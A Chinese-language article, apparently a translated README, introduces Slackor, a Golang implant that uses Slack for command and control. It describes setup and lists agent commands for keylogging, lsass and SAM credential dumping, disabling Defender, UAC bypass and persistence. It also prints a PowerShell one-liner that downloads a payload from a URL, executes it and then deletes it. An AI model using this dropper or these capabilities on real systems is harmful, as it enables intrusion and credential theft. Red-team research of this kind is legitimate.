Slackor:如何将Slack当作你的命令控制服务器

Slackor

Slackor是一款Golang植入,它可以将Slack作为你的命令控制服务器。

注意:该工具目前仅处于概念验证模型阶段,请在创建任何Slack应用之前,确保应用符合Slack App开发者政策。

工具安装

Slackor服务器端采用Python 3开发,在使用该工具之前,你需要满足以下条件:

1、 一个Slack工作区;

2、 以下列权限注册一个App:

channels:read
channels:history
channels:write
files:write:user
files:read

3、 创建一个BOT;

Slackor项目中包含五个文件:

1、install.sh:安装依赖组件
2、setup.py:这个脚本可以创建Slack信道、数据库和植入程序
3、agent.py:这个脚本可以生成新的植入程序
4、server.py:Slack服务器,可在Linux平台上运行
5、agent.go:Golang植入程序
6、requirements.txt:Python依赖(自动安装)

快速开始

go get github.com/Coalfire-Research/Slackor
cd $GOPATH/src/github.com/Coalfire-Research/Slackor

运行了上述命令之后,运行“install.sh”文件,然后运行“setup.py”,此时需要你提供Slack应用程序的“OAuth访问令牌”以及 “Bot User OAuth访问令牌”。

成功运行上述脚本之后,还需要在项目的dist/目录中创建下列几个文件:

agent.windows.exe:Windows 64-bit 代码
agent.upx.exe:Windows 64-bit 代码, UPX 封装
agent.darwin:macOS 64-bit 代码
agent.32.linux:Linux 32-bit 代码
agent.64.linux:Linux 64-bit 代码

在Linux主机上运行server.py之后,工具会根据目标主机的情况自动选择上述代理程序。

我们可以使用“stager”模块来生成一个one-liner或其他Dropper:

powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /msvchost.exe /c C:\Users\Public\[NAME]; timeout 2; delC:\Users\Public\[NAME].exe

这条命令将会执行InvokeWebRequest(PS v.3+)来下载Payload,并使用一个 LOLBin 来执行它。执行完成后,Payload会进行自毁操作。这只是一个仅供参考的使用样例,大家可以根据自己的需要来使用其他的下载方法或执行方法。

工具使用

输入“help”或按下TAB键,我们就可以查看到该工具所支持的全部可用命令了,我们还可以输入“help [COMMAND]”来查看命令描述。

(Slackor:服务器端)
help –显示帮助菜单
interact– 与代理端交互
list –列出所有已注册的代理
remove– 终止或移除代理
revive– 向所有的代理发送重新注册信号
stager– 生成一个One-Liner下载并执行植入程序
quit –退出程序
wipefiles– 删除Slack中的所有上传文件

当代理端就绪之后,我们就可以跟它进行交互了。使用“interact [AGENT]”可以切换到代理端的命令行界面,然后输入“help”或按下TAB键即可查看代理端支持的所有可用命令。

(Slackor:代理端)

常用命令

back –返回主菜单
beacon– 修改代理确认时间间隔(默认为5秒)
download– 从代理端下载文件至Slackor服务器
help –显示帮助菜单
kill –终止代理
sleep– 代理休眠
sysinfo– 显示当前用户、操作系统版本、系统架构和CPU核心数
upload– 从代理端上传一份文件至Slackor 服务器
wget –通过HTTP/HTTPS获取任意文件
Windows命令
bypassuac– 生成一个高完整性的代理
cleanup– 移除持久性组件
clipboard– 获取剪切板内容
defanger– 尝试关闭WindowsDefender
duplicate– 生成代理端副本
getsystem-使用NTAUTHORITY/SYSTEM权限生成代理
keyscan– 在代理端开启键盘记录器
minidump–导出lsass.exe内存信息并下载
persist– 在ADS中创建持久性植入程序
samdump– 尝试导出SAM文件,以供离线提取哈希特征
screenshot– 获取屏幕截图
shellcode– 执行x64元Shellcode
Linux命令
screenshot- 获取屏幕截图

OPSEC

命令输出和下载的文件都采用了AES加密,额外的还有Slack的TLS传输层加密。

在执行需要向磁盘写入数据的任务时,模块会给用户发送提醒。在执行Shell命令时,cmd.exe/bash将会被执行,这种行为可能会被目标主机监控到。下面给出的是一些OPSEC安全命令,它们不会执行cmd.exe/bash。

cat –打印文件内容
cd – 修改目录
find –搜索目录文件名
getip– 获取外部IP地址(发送一个DNS 请求)
hostname– 显示主机名称
ifconfig– 显示接口信息
ls – 列举目录内容
mkdir– 创建一个目录
pwd –输出当前工作目录
rm – 移除一个文件
rmdir– 移除一个目录
whoami/ getuid – 输出当前用户信息

项目地址

Slackor:【 GitHub传送门

* 参考来源: Coalfire-Research ,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM